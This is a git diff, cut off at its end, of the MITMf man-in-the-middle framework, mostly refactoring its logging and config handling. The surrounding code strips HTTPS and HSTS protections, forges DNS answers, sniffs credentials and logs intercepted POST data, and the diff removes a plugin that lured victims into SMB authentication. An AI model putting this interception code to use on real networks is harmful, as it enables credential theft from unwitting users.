diff --git a/core/configwatcher.py b/core/configwatcher.py index beb8061..2fde1a3 100644 --- a/core/configwatcher.py +++ b/core/configwatcher.py @@ -1,46 +1,48 @@ -#! /usr/bin/env python2.7 +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# import logging + from mitmflib.watchdog.observers import Observer from mitmflib.watchdog.events import FileSystemEventHandler from configobj import ConfigObj logging.getLogger("watchdog").setLevel(logging.ERROR) #Disables watchdog's debug messages -mitmf_logger = logging.getLogger('mitmf') +log = logging.getLogger('mitmf') class ConfigWatcher(FileSystemEventHandler): - _instance = None - config = ConfigObj("./config/mitmf.conf") + @property + def config(self): + return ConfigObj("./config/mitmf.conf") - @staticmethod - def getInstance(): - if ConfigWatcher._instance is None: - ConfigWatcher._instance = ConfigWatcher() + def on_modified(self, event): + log.debug("[{}] Detected configuration changes, reloading!".format(self.name)) + self.on_config_change() - return ConfigWatcher._instance - - def startConfigWatch(self): + def start_config_watch(self): observer = Observer() observer.schedule(self, path='./config', recursive=False) observer.start() - def getConfig(self): - return self.config - - def on_modified(self, event): - mitmf_logger.debug("[{}] Detected configuration changes, reloading!".format(self.__class__.__name__)) - self.reloadConfig() - self.onConfigChange() - - def onConfigChange(self): + def on_config_change(self): """ We can subclass this function to do stuff after the config file has been modified""" pass - - def reloadConfig(self): - try: - self.config = ConfigObj("./config/mitmf.conf") - except Exception as e: - mitmf_logger.error("Error reloading config file: {}".format(e)) - pass diff --git a/plugins/SMBAuth.py b/core/logger.py similarity index 50% rename from plugins/SMBAuth.py rename to core/logger.py index fb7d95c..f6e7b34 100644 --- a/plugins/SMBAuth.py +++ b/core/logger.py @@ -1,4 +1,5 @@ -#!/usr/bin/env python2.7 +#! /usr/bin/env python2.7 +# -*- coding: utf-8 -*- # Copyright (c) 2014-2016 Marcello Salvati # @@ -18,24 +19,28 @@ # USA # -from core.utils import SystemConfig -from plugins.plugin import Plugin -from plugins.Inject import Inject +import logging +import sys -class SMBAuth(Inject, Plugin): - name = "SMBAuth" - optname = "smbauth" - desc = "Evoke SMB challenge-response auth attempts" - version = "0.1" - has_opts = False - def initialize(self, options): - self.target_ip = SystemConfig.getIP(options.interface) +class logger: - Inject.initialize(self, options) - self.html_payload = self._get_data() + log_level = None + __shared_state = {} - def _get_data(self): - return ''\ - ''\ - '' % tuple([self.target_ip]*3) + def __init__(self): + self.__dict__ = self.__shared_state + + def setup_logger(self, name, formatter, logfile='./logs/mitmf.log'): + fileHandler = logging.FileHandler(logfile) + fileHandler.setFormatter(formatter) + streamHandler = logging.StreamHandler(sys.stdout) + streamHandler.setFormatter(formatter) + + logger = logging.getLogger(name) + logger.propagate = False + logger.addHandler(streamHandler) + logger.addHandler(fileHandler) + logger.setLevel(self.log_level) + + return logger diff --git a/core/netcreds/NetCreds.py b/core/netcreds/NetCreds.py index 451729b..36ed0a4 100644 --- a/core/netcreds/NetCreds.py +++ b/core/netcreds/NetCreds.py @@ -20,7 +20,7 @@ logging.getLogger("scapy.runtime").setLevel(logging.ERROR) from scapy.all import * conf.verb=0 -mitmf_logger = logging.getLogger('mitmf') +log = logging.getLogger('mitmf') DN = open(devnull, 'w') pkt_frag_loads = OrderedDict() @@ -47,13 +47,11 @@ class NetCreds: version = "1.0" - def sniffer(self, myip, interface): - #set the filter to our ip to prevent capturing traffic coming/going from our box - sniff(iface=interface, prn=pkt_parser, filter="not host {}".format(myip), store=0) - #sniff(iface=interface, prn=pkt_parser, store=0) + def sniffer(self, interface): + sniff(iface=interface, prn=pkt_parser, store=0) - def start(self, myip, interface): - t = threading.Thread(name='NetCreds', target=self.sniffer, args=(interface, myip,)) + def start(self, interface): + t = threading.Thread(name='NetCreds', target=self.sniffer, args=(interface,)) t.setDaemon(True) t.start() @@ -903,7 +901,7 @@ def printer(src_ip_port, dst_ip_port, msg): print_str = '[{} > {}] {}'.format(src_ip_port, dst_ip_port, msg) # All credentials will have dst_ip_port, URLs will not - mitmf_logger.info("[NetCreds] {}".format(print_str)) + log.info("[NetCreds] {}".format(print_str)) else: print_str = '[{}] {}'.format(src_ip_port.split(':')[0], msg) - mitmf_logger.info("[NetCreds] {}".format(print_str)) + log.info("[NetCreds] {}".format(print_str)) diff --git a/core/sergioproxy/ProxyPlugins.py b/core/sergioproxy/ProxyPlugins.py index 4a8a509..e7b6199 100644 --- a/core/sergioproxy/ProxyPlugins.py +++ b/core/sergioproxy/ProxyPlugins.py @@ -21,7 +21,7 @@ import logging import inspect import traceback -mitmf_logger = logging.getLogger("mitmf") +log = logging.getLogger('mitmf') class ProxyPlugins: ''' @@ -44,11 +44,11 @@ class ProxyPlugins: _instance = None plist = [] - mthdDict = {"connectionMade": "clientRequest", - "handleStatus": "serverResponseStatus", - "handleResponse": "serverResponse", - "handleHeader": "serverHeaders", - "handleEndHeaders":"serverHeaders"} + mthdDict = {"connectionMade" : "request", + "handleStatus" : "responsestatus", + "handleResponse" : "response", + "handleHeader" : "responseheaders", + "handleEndHeaders": "responseheaders"} pmthds = {} @@ -65,12 +65,12 @@ class ProxyPlugins: for p in plugins: self.addPlugin(p) - mitmf_logger.debug("[ProxyPlugins] Loaded {} plugin/s".format(len(self.plist))) + log.debug("[ProxyPlugins] Loaded {} plugin/s".format(len(self.plist))) def addPlugin(self,p): '''Load a plugin''' self.plist.append(p) - mitmf_logger.debug("[ProxyPlugins] Adding {} plugin".format(p.name)) + log.debug("[ProxyPlugins] Adding {} plugin".format(p.name)) for mthd,pmthd in self.mthdDict.iteritems(): try: self.pmthds[mthd].append(getattr(p,pmthd)) @@ -80,7 +80,7 @@ class ProxyPlugins: def removePlugin(self,p): '''Unload a plugin''' self.plist.remove(p) - mitmf_logger.debug("[ProxyPlugins] Removing {} plugin".format(p.name)) + log.debug("[ProxyPlugins] Removing {} plugin".format(p.name)) for mthd,pmthd in self.mthdDict.iteritems(): self.pmthds[mthd].remove(p) @@ -105,7 +105,7 @@ class ProxyPlugins: del args['self'] - mitmf_logger.debug("[ProxyPlugins] hooking {}()".format(fname)) + log.debug("[ProxyPlugins] hooking {}()".format(fname)) #calls any plugin that has this hook try: for f in self.pmthds[fname]: @@ -115,7 +115,7 @@ class ProxyPlugins: pass except Exception as e: #This is needed because errors in hooked functions won't raise an Exception + Traceback (which can be infuriating) - mitmf_logger.error("[ProxyPlugins] Exception occurred in hooked function") + log.error("[ProxyPlugins] Exception occurred in hooked function") traceback.print_exc() #pass our changes to the locals back down diff --git a/core/servers/dns/DNSchef.py b/core/servers/dns/DNSchef.py index 9cf829d..e99da38 100755 --- a/core/servers/dns/DNSchef.py +++ b/core/servers/dns/DNSchef.py @@ -46,11 +46,7 @@ from core.utils import shutdown from mitmflib.dnslib import * from IPy import IP -formatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S") -dnschef_logger = logging.getLogger('dnschef') -fileHandler = logging.FileHandler("./logs/dnschef/dnschef.log") -fileHandler.setFormatter(formatter) -dnschef_logger.addHandler(fileHandler) +log = logging.getLogger('mitmf') # DNSHandler Mixin. The class contains generic functions to parse DNS requests and # calculate an appropriate response based on user parameters. @@ -70,8 +66,8 @@ class DNSHandler(): # Parse data as DNS d = DNSRecord.parse(data) - except Exception, e: - dnschef_logger.info("{} [DNSChef] Error: invalid DNS request".format(self.client_address[0])) + except Exception as e: + log.info("{} [DNSChef] Error: invalid DNS request".format(self.client_address[0])) else: # Only Process DNS Queries @@ -115,7 +111,7 @@ class DNSHandler(): # Create a custom response to the query response = DNSRecord(DNSHeader(id=d.header.id, bitmap=d.header.bitmap, qr=1, aa=1, ra=1), q=d.q) - dnschef_logger.info("{} [DNSChef] Cooking the response of type '{}' for {} to {}".format(self.client_address[0], qtype, qname, fake_record)) + log.info("{} [DNSChef] Cooking the response of type '{}' for {} to {}".format(self.client_address[0], qtype, qname, fake_record)) # IPv6 needs additional work before inclusion: if qtype == "AAAA": @@ -184,7 +180,7 @@ class DNSHandler(): response = response.pack() elif qtype == "*" and not None in fake_records.values(): - dnschef_logger.info("{} [DNSChef] Cooking the response of type '{}' for {} with {}".format(self.client_address[0], "ANY", qname, "all known fake records.")) + log.info("{} [DNSChef] Cooking the response of type '{}' for {} with {}".format(self.client_address[0], "ANY", qname, "all known fake records.")) response = DNSRecord(DNSHeader(id=d.header.id, bitmap=d.header.bitmap,qr=1, aa=1, ra=1), q=d.q) @@ -259,7 +255,7 @@ class DNSHandler(): # Proxy the request else: - dnschef_logger.debug("{} [DNSChef] Proxying the response of type '{}' for {}".format(self.client_address[0], qtype, qname)) + log.debug("{} [DNSChef] Proxying the response of type '{}' for {}".format(self.client_address[0], qtype, qname)) nameserver_tuple = random.choice(nameservers).split('#') response = self.proxyrequest(data, *nameserver_tuple) @@ -339,13 +335,13 @@ class DNSHandler(): sock.close() except Exception, e: - dnschef_logger.warning("[DNSChef] Could not proxy request: {}".format(e)) + log.warning("[DNSChef] Could not proxy request: {}".format(e)) else: return reply def hstsbypass(self, real_domain, fake_domain, nameservers, d): - dnschef_logger.info("{} [DNSChef] Resolving '{}' to '{}' for HSTS bypass".format(self.client_address[0], fake_domain, real_domain)) + log.info("{} [DNSChef] Resolving '{}' to '{}' for HSTS bypass".format(self.client_address[0], fake_domain, real_domain)) response = DNSRecord(DNSHeader(id=d.header.id, bitmap=d.header.bitmap, qr=1, aa=1, ra=1), q=d.q) @@ -435,7 +431,7 @@ class DNSChef(ConfigWatcher): return DNSChef._instance - def onConfigChange(self): + def on_config_change(self): config = self.config['MITMf']['DNS'] self.port = int(config['port']) @@ -472,8 +468,8 @@ class DNSChef(ConfigWatcher): self.hsts = True def start(self): - self.onConfigChange() - self.startConfigWatch() + self.on_config_change() + self.start_config_watch() try: if self.config['MITMf']['DNS']['tcp'].lower() == 'on': diff --git a/core/servers/smb/SMBserver.py b/core/servers/smb/SMBserver.py index e2656e8..2a44702 100644 --- a/core/servers/smb/SMBserver.py +++ b/core/servers/smb/SMBserver.py @@ -9,15 +9,16 @@ from core.servers.smb.KarmaSMB import KarmaSMBServer from core.configwatcher import ConfigWatcher from core.utils import shutdown -#Logging is something I'm going to have to clean up in the future - class SMBserver(ConfigWatcher): - _instance = None - impacket_ver = version.VER_MINOR - server_type = ConfigWatcher.config["MITMf"]["SMB"]["type"].lower() - smbchallenge = ConfigWatcher.config["MITMf"]["SMB"]["Challenge"] - smb_port = int(ConfigWatcher.config["MITMf"]["SMB"]["port"]) + _instance = None + + def __init__(self): + + self.impacket_ver = version.VER_MINOR + self.server_type = self.config["MITMf"]["SMB"]["type"].lower() + self.smbchallenge = self.config["MITMf"]["SMB"]["Challenge"] + self.smb_port = int(self.config["MITMf"]["SMB"]["port"]) @staticmethod def getInstance(): diff --git a/core/sslstrip/ClientRequest.py b/core/sslstrip/ClientRequest.py index 8d2d30e..014cf90 100644 --- a/core/sslstrip/ClientRequest.py +++ b/core/sslstrip/ClientRequest.py @@ -40,7 +40,7 @@ from URLMonitor import URLMonitor from CookieCleaner import CookieCleaner from DnsCache import DnsCache -mitmf_logger = logging.getLogger('mitmf') +log = logging.getLogger('mitmf') class ClientRequest(Request): @@ -74,24 +74,23 @@ class ClientRequest(Request): dregex = re.compile("({})".format("|".join(map(re.escape, real.keys())))) headers['referer'] = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), headers['referer']) - if 'if-none-match' in headers: - del headers['if-none-match'] - if 'host' in headers: host = self.urlMonitor.URLgetRealHost(str(headers['host'])) - mitmf_logger.debug("[ClientRequest][HSTS] Modifing HOST header: {} -> {}".format(headers['host'], host)) + log.debug("[ClientRequest][HSTS] Modifing HOST header: {} -> {}".format(headers['host'], host)) headers['host'] = host self.setHeader('Host', host) if 'accept-encoding' in headers: del headers['accept-encoding'] - mitmf_logger.debug("[ClientRequest] Zapped encoding") + log.debug("[ClientRequest] Zapped encoding") + + if 'if-none-match' in headers: + del headers['if-none-match'] if 'if-modified-since' in headers: del headers['if-modified-since'] - if 'cache-control' in headers: - del headers['cache-control'] + headers['pragma'] = 'no-cache' return headers @@ -110,11 +109,11 @@ class ClientRequest(Request): if os.path.exists(scriptPath): return scriptPath - mitmf_logger.warning("[ClientRequest] Error: Could not find lock.ico") + log.warning("[ClientRequest] Error: Could not find lock.ico") return "lock.ico" def handleHostResolvedSuccess(self, address): - mitmf_logger.debug("[ClientRequest] Resolved host successfully: {} -> {}".format(self.getHeader('host'), address)) + log.debug("[ClientRequest] Resolved host successfully: {} -> {}".format(self.getHeader('host'), address)) host = self.getHeader("host") headers = self.cleanHeaders() client = self.getClientIP() @@ -152,22 +151,22 @@ class ClientRequest(Request): self.dnsCache.cacheResolution(hostparts[0], address) if (not self.cookieCleaner.isClean(self.method, client, host, headers)): - mitmf_logger.debug("[ClientRequest] Sending expired cookies") + log.debug("[ClientRequest] Sending expired cookies") self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client, host, headers, path)) elif (self.urlMonitor.isSecureFavicon(client, path)): - mitmf_logger.debug("[ClientRequest] Sending spoofed favicon response") + log.debug("[ClientRequest] Sending spoofed favicon response") self.sendSpoofedFaviconResponse() elif (self.urlMonitor.isSecureLink(client, url) or ('securelink' in headers)): if 'securelink' in headers: del headers['securelink'] - mitmf_logger.debug("[ClientRequest] Sending request via SSL ({})".format((client,url))) + log.debug("[ClientRequest] Sending request via SSL ({})".format((client,url))) self.proxyViaSSL(address, self.method, path, postData, headers, self.urlMonitor.getSecurePort(client, url)) else: - mitmf_logger.debug("[ClientRequest] Sending request via HTTP") + log.debug("[ClientRequest] Sending request via HTTP") #self.proxyViaHTTP(address, self.method, path, postData, headers) port = 80 if len(hostparts) > 1: @@ -176,7 +175,7 @@ class ClientRequest(Request): self.proxyViaHTTP(address, self.method, path, postData, headers, port) def handleHostResolvedError(self, error): - mitmf_logger.debug("[ClientRequest] Host resolution error: {}".format(error)) + log.debug("[ClientRequest] Host resolution error: {}".format(error)) try: self.finish() except: @@ -186,23 +185,23 @@ class ClientRequest(Request): address = self.dnsCache.getCachedAddress(host) if address != None: - mitmf_logger.debug("[ClientRequest] Host cached: {} {}".format(host, address)) + log.debug("[ClientRequest] Host cached: {} {}".format(host, address)) return defer.succeed(address) else: - mitmf_logger.debug("[ClientRequest] Host not cached.") + log.debug("[ClientRequest] Host not cached.") self.customResolver.port = self.urlMonitor.getResolverPort() try: - mitmf_logger.debug("[ClientRequest] Resolving with DNSChef") + log.debug("[ClientRequest] Resolving with DNSChef") address = str(self.customResolver.query(host)[0].address) return defer.succeed(address) except Exception: - mitmf_logger.debug("[ClientRequest] Exception occured, falling back to Twisted") + log.debug("[ClientRequest] Exception occured, falling back to Twisted") return reactor.resolve(host) def process(self): - mitmf_logger.debug("[ClientRequest] Resolving host: {}".format(self.getHeader('host'))) + log.debug("[ClientRequest] Resolving host: {}".format(self.getHeader('host'))) host = self.getHeader('host').split(":")[0] if self.hsts: diff --git a/core/sslstrip/DnsCache.py b/core/sslstrip/DnsCache.py index 355fd12..8d77e6c 100644 --- a/core/sslstrip/DnsCache.py +++ b/core/sslstrip/DnsCache.py @@ -18,7 +18,7 @@ import logging -mitmf_logger = logging.getLogger('mitmf') +log = logging.getLogger('mitmf') class DnsCache: @@ -51,7 +51,7 @@ class DnsCache: def setCustomRes(self, host, ip_address=None): if ip_address is not None: self.cache[host] = ip_address - mitmf_logger.debug("[DNSCache] DNS entry set: %s -> %s" %(host, ip_address)) + log.debug("[DNSCache] DNS entry set: %s -> %s" %(host, ip_address)) else: if self.customAddress is not None: self.cache[host] = self.customAddress diff --git a/core/sslstrip/SSLServerConnection.py b/core/sslstrip/SSLServerConnection.py index 4015276..6011f7e 100644 --- a/core/sslstrip/SSLServerConnection.py +++ b/core/sslstrip/SSLServerConnection.py @@ -23,7 +23,7 @@ import string from ServerConnection import ServerConnection from URLMonitor import URLMonitor -mitmf_logger = logging.getLogger('mitmf') +log = logging.getLogger('mitmf') class SSLServerConnection(ServerConnection): @@ -59,11 +59,11 @@ class SSLServerConnection(ServerConnection): for v in values: if v[:7].lower()==' domain': dominio=v.split("=")[1] - mitmf_logger.debug("[SSLServerConnection][HSTS] Parsing cookie domain parameter: %s"%v) + log.debug("[SSLServerConnection][HSTS] Parsing cookie domain parameter: %s"%v) real = self.urlMonitor.real if dominio in real: v=" Domain=%s"%real[dominio] - mitmf_logger.debug("[SSLServerConnection][HSTS] New cookie domain parameter: %s"%v) + log.debug("[SSLServerConnection][HSTS] New cookie domain parameter: %s"%v) newvalues.append(v) value = ';'.join(newvalues) @@ -87,13 +87,13 @@ class SSLServerConnection(ServerConnection): if ((not link.startswith('http')) and (not link.startswith('/'))): absoluteLink = "http://"+self.headers['host']+self.stripFileFromPath(self.uri)+'/'+link - mitmf_logger.debug("[SSLServerConnection] Found path-relative link in secure transmission: " + link) - mitmf_logger.debug("[SSLServerConnection] New Absolute path-relative link: " + absoluteLink) + log.debug("[SSLServerConnection] Found path-relative link in secure transmission: " + link) + log.debug("[SSLServerConnection] New Absolute path-relative link: " + absoluteLink) elif not link.startswith('http'): absoluteLink = "http://"+self.headers['host']+link - mitmf_logger.debug("[SSLServerConnection] Found relative link in secure transmission: " + link) - mitmf_logger.debug("[SSLServerConnection] New Absolute link: " + absoluteLink) + log.debug("[SSLServerConnection] Found relative link in secure transmission: " + link) + log.debug("[SSLServerConnection] New Absolute link: " + absoluteLink) if not absoluteLink == "": absoluteLink = absoluteLink.replace('&', '&') diff --git a/core/sslstrip/ServerConnection.py b/core/sslstrip/ServerConnection.py index d88023d..a22bea3 100644 --- a/core/sslstrip/ServerConnection.py +++ b/core/sslstrip/ServerConnection.py @@ -16,11 +16,11 @@ # USA # -import logging +import logging import re import string -import random -import zlib +import random +import zlib import gzip import StringIO import sys @@ -29,8 +29,10 @@ from mitmflib.user_agents import parse from twisted.web.http import HTTPClient from URLMonitor import URLMonitor from core.sergioproxy.ProxyPlugins import ProxyPlugins +from core.logger import logger -mitmf_logger = logging.getLogger('mitmf') +formatter = logging.Formatter("%(asctime)s %(clientip)s [type:%(browser)s-%(browserv)s os:%(clientos)s] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +log = logger().setup_logger("ServerConnection", formatter) class ServerConnection(HTTPClient): @@ -56,7 +58,7 @@ class ServerConnection(HTTPClient): self.headers = headers self.client = client self.printPostData = True - self.clientInfo = None + self.clientInfo = {} self.urlMonitor = URLMonitor.getInstance() self.hsts = URLMonitor.getInstance().hsts self.app = URLMonitor.getInstance().app @@ -66,27 +68,18 @@ class ServerConnection(HTTPClient): self.contentLength = None self.shutdownComplete = False - def getPostPrefix(self): - return "POST" - def sendRequest(self): if self.command == 'GET': - try: - user_agent = parse(self.headers['user-agent']) - self.clientInfo = (user_agent.browser.family, user_agent.browser.version[0], user_agent.os.family) - mitmf_logger.info("{} [type:{}-{} os:{}] {}".format(self.client.getClientIP(), user_agent.browser.family, user_agent.browser.version[0], user_agent.os.family, self.headers['host'])) - except Exception as e: - mitmf_logger.debug("[ServerConnection] Unable to parse UA: {}".format(e)) - mitmf_logger.info("{} Sending request: {}".format(self.client.getClientIP(), self.headers['host'])) - pass - - mitmf_logger.debug("[ServerConnection] Full request: {}{}".format(self.headers['host'], self.uri)) + + log.info(self.headers['host'], extra=self.clientInfo) + + log.debug("[ServerConnection] Full request: {}{}".format(self.headers['host'], self.uri)) self.sendCommand(self.command, self.uri) def sendHeaders(self): for header, value in self.headers.iteritems(): - mitmf_logger.debug("[ServerConnection] Sending header: ({}: {})".format(header, value)) + log.debug("[ServerConnection] Sending header: ({}: {})".format(header, value)) self.sendHeader(header, value) self.endHeaders() @@ -96,17 +89,26 @@ class ServerConnection(HTTPClient): try: postdata = self.postData.decode('utf8') #Anything that we can't decode to utf-8 isn't worth logging if len(postdata) > 0: - mitmf_logger.warning("{} {} Data ({}):\n{}".format(self.client.getClientIP(), self.getPostPrefix(), self.headers['host'], postdata)) + log.warning("POST Data ({}):\n{}".format(self.headers['host'], postdata), extra=self.clientInfo) except Exception as e: if ('UnicodeDecodeError' or 'UnicodeEncodeError') in e.message: - mitmf_logger.debug("[ServerConnection] {} Ignored post data from {}".format(self.client.getClientIP(), self.headers['host'])) - pass + log.debug("[ServerConnection] {} Ignored post data from {}".format(self.clientInfo['clientip'], self.headers['host'])) self.printPostData = True self.transport.write(self.postData) def connectionMade(self): - mitmf_logger.debug("[ServerConnection] HTTP connection made.") + log.debug("[ServerConnection] HTTP connection made.") + + user_agent = parse(self.headers['user-agent']) + + self.clientInfo["clientip"] = self.client.getClientIP() + self.clientInfo["clientos"] = user_agent.os.family + self.clientInfo["browser"] = user_agent.browser.family + try: + self.clientInfo["browserv"] = user_agent.browser.version[0] + except IndexError: + self.clientInfo["browserv"] = "Other" self.plugins.hook() self.sendRequest() @@ -123,7 +125,7 @@ class ServerConnection(HTTPClient): code = values['code'] message = values['message'] - mitmf_logger.debug("[ServerConnection] Server response: {} {} {}".format(version, code, message)) + log.debug("[ServerConnection] Server response: {} {} {}".format(version, code, message)) self.client.setResponseCode(int(code), message) def handleHeader(self, key, value): @@ -135,18 +137,15 @@ class ServerConnection(HTTPClient): if (key.lower() == 'content-type'): if (value.find('image') != -1): self.isImageRequest = True - mitmf_logger.debug("[ServerConnection] Response is image content, not scanning") + log.debug("[ServerConnection] Response is image content, not scanning") if (key.lower() == 'content-encoding'): if (value.find('gzip') != -1): - mitmf_logger.debug("[ServerConnection] Response is compressed") + log.debug("[ServerConnection] Response is compressed") self.isCompressed = True elif (key.lower()== 'strict-transport-security'): - if self.clientInfo is not None: - mitmf_logger.info("{} [type:{}-{} os:{}] Zapped a strict-trasport-security header".format(self.client.getClientIP(), self.clientInfo[0], self.clientInfo[1], self.clientInfo[2])) - else: - mitmf_logger.info("{} Zapped a strict-trasport-security header".format(self.client.getClientIP())) + log.info("Zapped a strict-trasport-security header", extra=self.clientInfo) elif (key.lower() == 'content-length'): self.contentLength = value @@ -161,14 +160,17 @@ class ServerConnection(HTTPClient): if (self.isImageRequest and self.contentLength != None): self.client.setHeader("Content-Length", self.contentLength) + self.client.setHeader("Expires", "0") + self.client.setHeader("Cache-Control", "No-Cache") + if self.length == 0: self.shutdown() self.plugins.hook() - if logging.getLevelName(mitmf_logger.getEffectiveLevel()) == "DEBUG": + if logging.getLevelName(log.getEffectiveLevel()) == "DEBUG": for header, value in self.client.headers.iteritems(): - mitmf_logger.debug("[ServerConnection] Receiving header: ({}: {})".format(header, value)) + log.debug("[ServerConnection] Receiving header: ({}: {})".format(header, value)) def handleResponsePart(self, data): if (self.isImageRequest): @@ -180,20 +182,21 @@ class ServerConnection(HTTPClient): if (self.isImageRequest): self.shutdown() else: + #Gets rid of some generic errors try: - HTTPClient.handleResponseEnd(self) #Gets rid of some generic errors + HTTPClient.handleResponseEnd(self) except: pass def handleResponse(self, data): if (self.isCompressed): - mitmf_logger.debug("[ServerConnection] Decompressing content...") + log.debug("[ServerConnection] Decompressing content...") data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read() data = self.replaceSecureLinks(data) data = self.plugins.hook()['data'] - mitmf_logger.debug("[ServerConnection] Read from server {} bytes of data".format(len(data))) + log.debug("[ServerConnection] Read from server {} bytes of data".format(len(data))) if (self.contentLength != None): self.client.setHeader('Content-Length', len(data)) @@ -206,7 +209,7 @@ class ServerConnection(HTTPClient): try: self.shutdown() except: - mitmf_logger.info("[ServerConnection] Client connection dropped before request finished.") + log.info("[ServerConnection] Client connection dropped before request finished.") def replaceSecureLinks(self, data): if self.hsts: @@ -214,7 +217,7 @@ class ServerConnection(HTTPClient): sustitucion = {} patchDict = self.urlMonitor.patchDict - if len(patchDict)>0: + if patchDict: dregex = re.compile("({})".format("|".join(map(re.escape, patchDict.keys())))) data = dregex.sub(lambda x: str(patchDict[x.string[x.start() :x.end()]]), data) @@ -222,12 +225,12 @@ class ServerConnection(HTTPClient): for match in iterator: url = match.group() - mitmf_logger.debug("[ServerConnection][HSTS] Found secure reference: " + url) - nuevaurl=self.urlMonitor.addSecureLink(self.client.getClientIP(), url) - mitmf_logger.debug("[ServerConnection][HSTS] Replacing {} => {}".format(url,nuevaurl)) + log.debug("[ServerConnection][HSTS] Found secure reference: " + url) + nuevaurl=self.urlMonitor.addSecureLink(self.clientInfo['clientip'], url) + log.debug("[ServerConnection][HSTS] Replacing {} => {}".format(url,nuevaurl)) sustitucion[url] = nuevaurl - if len(sustitucion)>0: + if sustitucion: dregex = re.compile("({})".format("|".join(map(re.escape, sustitucion.keys())))) data = dregex.sub(lambda x: str(sustitucion[x.string[x.start() :x.end()]]), data) @@ -240,11 +243,11 @@ class ServerConnection(HTTPClient): for match in iterator: url = match.group() - mitmf_logger.debug("[ServerConnection] Found secure reference: " + url) + log.debug("[ServerConnection] Found secure reference: " + url) url = url.replace('https://', 'http://', 1) url = url.replace('&', '&') - self.urlMonitor.addSecureLink(self.client.getClientIP(), url) + self.urlMonitor.addSecureLink(self.clientInfo['clientip'], url) data = re.sub(ServerConnection.urlExplicitPort, r'http://\1/', data) return re.sub(ServerConnection.urlType, 'http://', data) diff --git a/core/sslstrip/ServerConnectionFactory.py b/core/sslstrip/ServerConnectionFactory.py index a64c800..48feda5 100644 --- a/core/sslstrip/ServerConnectionFactory.py +++ b/core/sslstrip/ServerConnectionFactory.py @@ -17,9 +17,10 @@ # import logging + from twisted.internet.protocol import ClientFactory -mitmf_logger = logging.getLogger('mimtf') +log = logging.getLogger('mitmf') class ServerConnectionFactory(ClientFactory): @@ -34,12 +35,12 @@ class ServerConnectionFactory(ClientFactory): return self.protocol(self.command, self.uri, self.postData, self.headers, self.client) def clientConnectionFailed(self, connector, reason): - mitmf_logger.debug("[ServerConnectionFactory] Server connection failed.") + log.debug("[ServerConnectionFactory] Server connection failed.") destination = connector.getDestination() if (destination.port != 443): - mitmf_logger.debug("[ServerConnectionFactory] Retrying via SSL") + log.debug("[ServerConnectionFactory] Retrying via SSL") self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443) else: try: diff --git a/core/sslstrip/URLMonitor.py b/core/sslstrip/URLMonitor.py index 54b4bd5..6b266c5 100644 --- a/core/sslstrip/URLMonitor.py +++ b/core/sslstrip/URLMonitor.py @@ -18,9 +18,10 @@ import re, os import logging + from core.configwatcher import ConfigWatcher -mitmf_logger = logging.getLogger('mimtf') +log = logging.getLogger('mitmf') class URLMonitor: @@ -57,7 +58,7 @@ class URLMonitor: #This is here because I'm lazy def getResolverPort(self): - return int(ConfigWatcher.getInstance().getConfig()['MITMf']['DNS']['port']) + return int(ConfigWatcher().config['MITMf']['DNS']['port']) def isSecureLink(self, client, url): for expression in URLMonitor.javascriptTrickery: @@ -78,7 +79,7 @@ class URLMonitor: s.add(to_url) return url_set = set([from_url, to_url]) - mitmf_logger.debug("[URLMonitor][AppCachePoison] Set redirection: {}".format(url_set)) + log.debug("[URLMonitor][AppCachePoison] Set redirection: {}".format(url_set)) self.redirects.append(url_set) def getRedirectionSet(self, url): @@ -119,7 +120,7 @@ class URLMonitor: else: self.sustitucion[host] = "web"+host self.real["web"+host] = host - mitmf_logger.debug("[URLMonitor][HSTS] SSL host ({}) tokenized ({})".format(host, self.sustitucion[host])) + log.debug("[URLMonitor][HSTS] SSL host ({}) tokenized ({})".format(host, self.sustitucion[host])) url = 'http://' + host + path @@ -155,14 +156,14 @@ class URLMonitor: return ((self.faviconSpoofing == True) and (url.find("favicon-x-favicon-x.ico") != -1)) def URLgetRealHost(self, host): - mitmf_logger.debug("[URLMonitor][HSTS] Parsing host: {}".format(host)) + log.debug("[URLMonitor][HSTS] Parsing host: {}".format(host)) self.updateHstsConfig() if self.real.has_key(host): - mitmf_logger.debug("[URLMonitor][HSTS] Found host in list: {}".format(self.real[host])) + log.debug("[URLMonitor][HSTS] Found host in list: {}".format(self.real[host])) return self.real[host] else: - mitmf_logger.debug("[URLMonitor][HSTS] Host not in list: {}".format(host)) + log.debug("[URLMonitor][HSTS] Host not in list: {}".format(host)) return host diff --git a/core/utils.py b/core/utils.py index 42a9aa2..529c4fb 100644 --- a/core/utils.py +++ b/core/utils.py @@ -25,22 +25,23 @@ import logging import re import sys -logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy -from scapy.all import get_if_addr, get_if_hwaddr from core.sergioproxy.ProxyPlugins import ProxyPlugins -mitmf_logger = logging.getLogger('mitmf') +logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy +from scapy.all import get_if_addr, get_if_hwaddr + +log = logging.getLogger('mitmf') def shutdown(message=None): for plugin in ProxyPlugins.getInstance().plist: - plugin.finish() + plugin.on_shutdown() sys.exit(message) class SystemConfig: @staticmethod def setIpForwarding(value): - mitmf_logger.debug("[Utils] Setting ip forwarding to {}".format(value)) + log.debug("[Utils] Setting ip forwarding to {}".format(value)) with open('/proc/sys/net/ipv4/ip_forward', 'w') as file: file.write(str(value)) file.close() @@ -53,7 +54,7 @@ class SystemConfig: shutdown("[Utils] Interface {} does not have an assigned IP address".format(interface)) return ip_address - except Exception, e: + except Exception as e: shutdown("[Utils] Error retrieving IP address from {}: {}".format(interface, e)) @staticmethod @@ -81,23 +82,23 @@ class 